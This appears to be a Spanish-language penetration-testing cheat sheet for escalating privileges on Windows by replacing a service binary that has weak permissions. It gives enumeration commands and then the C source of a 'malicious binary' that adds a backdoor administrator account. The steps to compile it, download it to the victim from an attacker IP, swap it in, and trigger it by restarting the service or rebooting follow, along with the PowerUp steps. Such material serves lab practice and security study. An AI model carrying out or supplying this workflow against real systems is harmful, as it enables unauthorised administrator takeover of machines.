Servicios de Windows

Enumeración de servicios en ejecución

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
  • Get-CimInstance: Es un cmdlet de PowerShell que se utiliza para obtener instancias de clases CIM (Common Information Model) o WMI (Windows Management Instrumentation).
  • -ClassName win32_service: Especifica la clase WMI que se va a consultar. En este caso, win32_service es una clase que contiene información sobre los servicios de Windows.

Enumeración de la configuración del servicio

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<SERVICE>'}

Mascara de Permisos icacls

Mask Permissions
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access

Enumeración de Permisos

icacls "C:\Ruta\al\binario\<binario>"

adduser.c

En nuestra máquina atacante, creamos un binario malicioso el cual crea un nuevo usuario y lo agrega al grupo de administradores.

#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user elliot Password123@! /add");
  i = system ("net localgroup administrators elliot /add");

  return 0;
}

Compilamos el código

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Transferimos el binario a la máquina víctima.

iwr -uri http://192.168.56.5/adduser.exe -Outfile adduser.exe

Movemos el binario a la ruta correspondiente

move .\adduser.exe "C:\Ruta\al\binario\<binario>"

Ejecución

net stop <SERVICE>
net start <SERVICE>

Alernativamente si no tenemos privilegios para reiniciar el servicio, podemos comprobar si el servicio se inicia al iniciar el sistema y si tenemos la capacidad para reiniciar la máquina.

whoami /priv

Deberíamos ver el privilegio SeShutdownPrivilege

Por ultimo ejecutamos:

shutdown /r /t 0

PowerUp

powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name '<SERVICE>'

Enumeración de propiedades de ejecución del servicio

$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe' | Get-ModifiablePath -Literal
$ModifiableFiles
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument' | Get-ModifiablePath -Literal
$ModifiableFiles
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument -conf=C:\temp\path' | Get-ModifiablePath -Literal
$ModifiableFiles